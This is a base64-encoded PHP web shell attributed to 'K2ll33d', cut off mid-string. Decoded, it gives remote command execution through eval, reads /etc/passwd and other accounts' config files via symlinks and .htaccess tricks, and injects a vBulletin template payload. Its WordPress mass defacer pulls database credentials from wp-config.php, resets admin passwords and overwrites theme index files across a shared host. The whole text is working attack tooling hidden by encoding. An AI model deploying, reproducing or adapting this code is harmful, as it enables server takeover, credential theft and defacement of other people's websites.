Pg0KPD9waHAgaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKXs/Pjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9ImNtZGJveCI+PHRyPjx0ZD48dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIiBjb2xzPTkwPiANCjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0Y21kJ10pKSB7ZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7fWVsc2UgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOz8+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjE5JTsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2Fib3V0Jykpe2VjaG8gJzxjZW50ZXI+PGltZyBjbGFzcz0iSG92ZXJCb3JkZXIiIGFsdD0iIiBzcmM9ImRhdGE6aW1hZ2UvanBlZzsnLiR0dW5pc2lhLiciIC8+PC9jZW50ZXI+PGJyPjxjZW50ZXI+PGs+V2ViIFNoZWxsIEJ5IEsybGwzM2Q8YnI+PGJyPjxicj5NYWlsOiZuYnNwOzxhIGhyZWY9bWFpbHRvOmsybGwzM2RAbGl2ZS5mcj5rMmxsMzNkIFthdF0gbGl2ZS5mcjwvYT48YnI+PGJyPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj5GYWNlYm9vazwvYT4mbmJzcDs8YSBocmVmPSJodHRwOi8vem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPVJlWksyTEwiIHRhcmdldD0iX2JsYW5rIj5ab25lLUg8L2E+PC9rPjwvY2VudGVyPic7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzeW0nKSl7QHNldF90aW1lX2xpbWl0KDApO0Bta2Rpcignc3ltJywwNzc3KTtlcnJvcl9yZXBvcnRpbmcoMCk7JGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBnYXphLmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOyRvcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTtmd3JpdGUoJG9wICwkaHRhY2Nlc3MpO2VjaG8gJzxjZW50ZXI+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiPiBGaWxlIFBhdGg6PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxicj5TeW1saW5rIE5hbWU8YnI+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJzLnR4dCIgc2l6ZT0iNjAiLz48YnI+PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPjxicj48YnI+PC9mb3JtPjwvY2VudGVyPic7JHRhcmdldCA9ICRfUE9TVFsnZmlsZSddOyRzeW1maWxlID0gJF9QT1NUWydzeW1maWxlJ107JHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTtpZiAoJHN5bWxpbmspIHtAc3ltbGluaygiJHRhcmdldCIsInN5bS8kc3ltZmlsZSIpO2VjaG8gJzxicj48Y2VudGVyPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJzeW0vJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPjxjZW50ZXI+Jzt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpe2Vycm9yX3JlcG9ydGluZygwKTs/Pjx0YWJsZT48dGQgd2lkdGg9IjUwJSI+PGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocCAkX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9cG9zdD48cCBhbGlnbj0iY2VudGVyIj48aDI+Rm9sZGVyPC9oMj48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cD10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpOz8+Ij48YnI+PGgyPmZpbGUgbmFtZTwvaDI+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXA9dGV4dCBuYW1lPWZpbGUgc2l6ZT02MCB2YWx1ZT0iaW5kZXgucGhwIj48YnI+PC90ZD48dGQgd2lkdGg9IjUwJSI+PGgzPkluZGV4IGNvZGUgPC9oMz48dGV4dGFyZWEgY2xhc3MgPSdpbnB1dHonIG5hbWU9aW5kZXggcm93cz0xMCBjb2xzPTQwPmhhY2tlZCBCeSBSZVpLMkxMIFRlYW08L3RleHRhcmVhPjxicj48L3RkPjwvcD48L3RhYmxlPjxjZW50ZXI+PGJyPjxicj48YnI+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9c3VibWl0IHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48YnI+PD9waHAgJG1haW5wYXRoPSRfUE9TVFtwYXRoXTskZmlsZT0kX1BPU1RbZmlsZV07JGRpcj1vcGVuZGlyKCIkbWFpbnBhdGgiKTskY29kZT1iYXNlNjRfZW5jb2RlKCRfUE9TVFtpbmRleF0pOyRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpO3doaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7JGZpbmlzaD1AZndyaXRlKCRzdGFydCwkaW5keCk7aWYgKCRmaW5pc2gpe2VjaG8gIiRyb3cvJGZpbGUgPiBEb25lPGJyPjxicj4iO319fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd2YicpKSB7aWYoZW1wdHkoJF9QT1NUWydpbmRleCddKSl7ZWNobyAiPGNlbnRlcj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+aG9zdCA6IDxJTlBVVCBzaXplPScxNScgY2xhc3M9J2lucHV0eicgdmFsdWU9J2xvY2FsaG9zdCcgbmFtZT0nbG9jYWxob3N0JyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7ZGF0YWJhc2UgOiA8SU5QVVQgY2xhc3M9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl9uYW1lJyBuYW1lPSdkYXRhYmFzZScgdHlwZT0ndGV4dCc+Jm5ic3A7fCZuYnNwO3VzZXJuYW1lIDogPElOUFVUIGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGJfdXNlcicgbmFtZT0ndXNlcm5hbWUnIHR5cGU9J3RleHQnPiZuYnNwO3wmbmJzcDtwYXNzd29yZCA6IDxJTlBVVCBjbGFzcz0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2JkX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7cGVyZml4IDogPGlucHV0IGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nJyBuYW1lPSdwZXJmaXgnIHR5cGU9J3RleHQnPjxicj48dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgbmFtZT0naW5kZXgnIGNvbHM9JzQwJyByb3dzPScxMCc+SGFja2VkIEJ5IFJlWksyTEwgVGVhbTwvdGV4dGFyZWE+PGJyPjxJTlBVVCBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nRGVmYWNlJyBuYW1lPSdzZW5kJyB0eXBlPSdzdWJtaXQnPjwvRk9STT48L2NlbnRlcj4iO31lbHNleyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSA9ICRfUE9TVFsnZGF0YWJhc2UnXTskdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddOyRwZXJmaXggPSAkX1BPU1RbJ3BlcmZpeCddOyRpbmRleCA9ICRfUE9TVFsnaW5kZXgnXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOyRzZXRfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOyRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyAnJGluZGV4JzsiKTskc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7JG9rPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHBlcmZpeC4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIFdIRVJFIHRpdGxlID0nRk9SVU1IT01FJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTtpZigkb2spe2VjaG8gIkRlZmFjZWQ8YnI+PGJyPiI7fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dtJykpe2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtzZXRfdGltZV9saW1pdCgwKTtAc2Vzc2lvbl9zdGFydCgpOyRiYXNlX3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKS4nLyc7ZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSl7JGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOyRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7cmV0dXJuIHRyaW0oJGFyMVswXSk7fWZ1bmN0aW9uIHJhbmRvbXQoKSB7JGNoYXJzID0gImFiY2RlZmdoaWprbW5vcHFyc3R1dnd4eXowMjM0NTY3ODkiO3NyYW5kKChkb3VibGUpbWljcm90aW1lKCkqMTAwMDAwMCk7JGkgPSAwOyRwYXNzID0gJyc7d2hpbGUgKCRpIDw9IDcpIHskbnVtID0gcmFuZCgpICUgMzM7JHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyRwYXNzID0gJHBhc3MgLiAkdG1wOyRpKys7fXJldHVybiAkcGFzczt9ZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl93cCgkY29uZiwgJGNvbnRlbnQpIHskb3V0cHV0ID0gJyc7JGRvbCA9ICckJzskdXNlcm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOyRwYXNzd29yZCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOyRkYm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOyRwcmVmaXggPSBlbnRyZTJ2MigkY29uZiwkZG9sLiJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTskaG9zdCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7JGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTtpZigkbGluaykge215c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7JGRvbCA9ICckJzskcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnazInLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpO30gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9aWYoJHJlcTEpIHskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTskZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOyR0ZW1wbGF0ZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdjdXJyZW50X3RoZW1lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JGN1cnJlbnRfdGhlbWUgPSAkZGF0YVsib3B0aW9uX3ZhbHVlIl07JHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7TVNJRSA3LjBiO1dpbmRvd3MgTlQgNS4xOy5ORVQgQ0xSIDEuMS40MzIyO0FsZXhhIFRvb2xiYXI7Lk5FVCBDTFIgMi4wLjUwNzI3KSI7JHVybDI9JHNpdGVfdXJsLiIvd3AtbG9naW4ucGhwIjskY2ggPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9azImcHdkPTEyMzEyMyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTskcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTtpZigkcG9zID09PSBmYWxzZSkgeyRvdXRwdXQuPSAiWy1dIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9IGVsc2UgeyRvdXRwdXQuPSAiWytdIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9JHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPS90aGVtZXMvIi4kdGVtcGxhdGUuJy9pbmRleC5waHAmdGhlbWU9Jy51cmxlbmNvZGUoJGN1cnJlbnRfdGhlbWUpLicmZGlyPXRoZW1lJztjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOyRfd3Bub25jZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2UiIG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOyRfZmlsZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpO2lmKHN1YnN0cl9jb3VudCgkX2ZpbGUsIi9pbmRleC5waHAiKSAhPSAwKXskb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgT3BlbmVkPGJyPiI7fWVsc2UgeyRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBVbmFibGUgdG8gb3Blbjxicj4iO30kdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuJGNvbnRlbnQuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyID0gY3VybF9leGVjKCRjaCk7Y3VybF9jbG9zZSgkY2gpOyRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQiPicpOyRjb25kID0gMDtpZigkcG9zID09PSBmYWxzZSl7JG91dHB1dC49ICJbLV0gaW5kZXgucGhwIEZhaWxlZDxicj4iO30gZWxzZSB7JG91dHB1dC49ICJbK10gaW5kZXgucGhwIEZhaWxlZCs8YnI+IjskY29uZCA9IDE7fX0gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9Z2xvYmFsICRiYXNlX3BhdGg7dW5saW5rKCRiYXNlX3BhdGguJ0NPT0tJRS50eHQnKTtyZXR1cm4gYXJyYXkoJ2NvbmQnPT4kY29uZCwgJ291dHB1dCc9PiRvdXRwdXQpO31mdW5jdGlvbiBleGVjX21vZGVfMSgkZGVmX3VybCkge0Bta2Rpcignc3ltJywwNzc3KTskd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjskZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpO2Z3cml0ZSgkZnAsICR3cik7QHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOyRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7QHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTskb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOyRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTtlY2hvICJUb3RhbCBXZWJzaXRlczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyPiI7JGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZfdXJsKTskZGVmID0gdXJsZW5jb2RlKCRkZWYpOyRiYXNlX3VybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3N5bS9yb290L2hvbWUvJzskb3V0cHV0ID0gZm9wZW4oJ2RlZmFjZWQuaHRtbCcsICdhKycpOyRfU0VTU0lPTlsnY291bnQxJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDEnXSkgPyAkX1NFU1NJT05bJ2NvdW50MSddIDowICkgOiAwOyRfU0VTU0lPTlsnY291bnQyJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDInXSkgPyAkX1NFU1NJT05bJ2NvdW50MiddIDowICkgOiAwO2VjaG8gJzx0YWJsZSBzdHlsZT0id2lkdGg6NzUlOyI+PHRyIHN0eWxlPSJiYWNrZ3JvdW5kOnJnYmEoMTYwLCA4MiwgNDUsMC42KTsiPjx0aD5JRDwvdGg+PHRoPlNJRDwvdGg+PHRoPkRvbWFpbjwvdGg+PHRoPlNjcmlwdDwvdGg+PHRoPlByb2Nlc3M8L3RoPjx0aD5SZXN1bHRzPC90aD48L3RyPic7JGogPSAxOyRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDtmb3IoJGkgPSAkc3Q7JGkgPD0gJG51bWVyb19kb21pbmlvczskaSsrKXskZG9tYWluID0gJG91dFsxXVskaV07JGRvbm9fYXJxdWl2byA9IEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKTskaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoJGRvbm9fYXJxdWl2byk7JGNvbmZpZzAyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kaW5mb3NbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiKTskY2xzID0gKCRqICUgMiA9PSAwKSA/ICdjbGFzcz0iZXZlbiInIDogJ2NsYXNzPSJvZGQiJztpZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7ZWNobyAnPHRyICcuJGNscy4nPjx0ZCBhbGlnbj0iY2VudGVyIj4nLigkaisrKS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kaS4nPC90ZD48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7JHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJGNvbmZpZzAyLCAkZGVmKTtlY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nO2lmKCRyZXNbJ2NvbmQnXSl7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+SEFDS0VEPC9zcGFuPjwvdGQ+Jztmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTskX1NFU1NJT05bJ2NvdW50MiddID0gJF9TRVNTSU9OWydjb3VudDInXSArIDE7fSBlbHNlIHtlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+dW5zdWNjZXNzZnVsPC9zcGFuPjwvdGQ+Jzt9ZWNobyAnPC90cj4nO319ZWNobyAnPC90YWJsZT4nO2VjaG8gJzxoci8+JztlY2hvICdUb3RhbCBEZWZhY2UgPSAnLigkX1NFU1NJT05bJ2NvdW50MSddKyRfU0VTU0lPTlsnY291bnQyJ10pLic8YnI+JztlY2hvICc8YSBocmVmPSJkZWZhY2VkLmh0bWwiIHRhcmdldD0iX2JsYW5rIj5MaXN0IFdlYnNpdGVzIERlZmFjZWQ8L2E+PGJyPic7fWVjaG8gJzxoZWFkPjxwPjxoMiBzdHlsZT0iY29sb3I6I0ZGMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6b3JiaXRyb247Zm9udC1zaXplOjI1cHg7Ij5Xb3JkcHJlc3MgTWFzcyBEZWZhY2VyPC9oMj48bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSB7Y29sb3I6IHdoaXRlO2ZvbnQtZmFtaWx5OiAib3JiaXRyb24iO30uaGVhZGVyIHtwb3NpdGlvbjpmaXhlZDt3aWR0aDoxMDAlO3RvcDowO2JhY2tncm91bmQ6IzAwMDt9LmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fTwvc3R5bGU+PC9wPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBjaGFuZ2UoKSB7aWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdyY2RcJykuY2hlY2tlZCA9PSB0cnVlKSB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnXCc7fSBlbHNlIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fSB9ZnVuY3Rpb24gaGlkZSgpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fTwvc2NyaXB0PjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSJmb290ZXIiPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj48aDMgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPicuYmFzZTY0X2RlY29kZSgnYXpKc2JETXpaQT09JykuJzwvaDM+PC9hPjwvZGl2PjxkaXY+JztpZighaXNzZXQoJF9QT1NUWydmb3JtX2FjdGlvbiddKSl7ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj48Y2VudGVyPjxpbWcgY2xhc3M9IkhvdmVyQm9yZGVyIiBhbHQ9IiIgc3JjPSJkYXRhOmltYWdlL2pwZWc7Jy4kdHVuaXNpYS4nIiAvPjwvY2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InB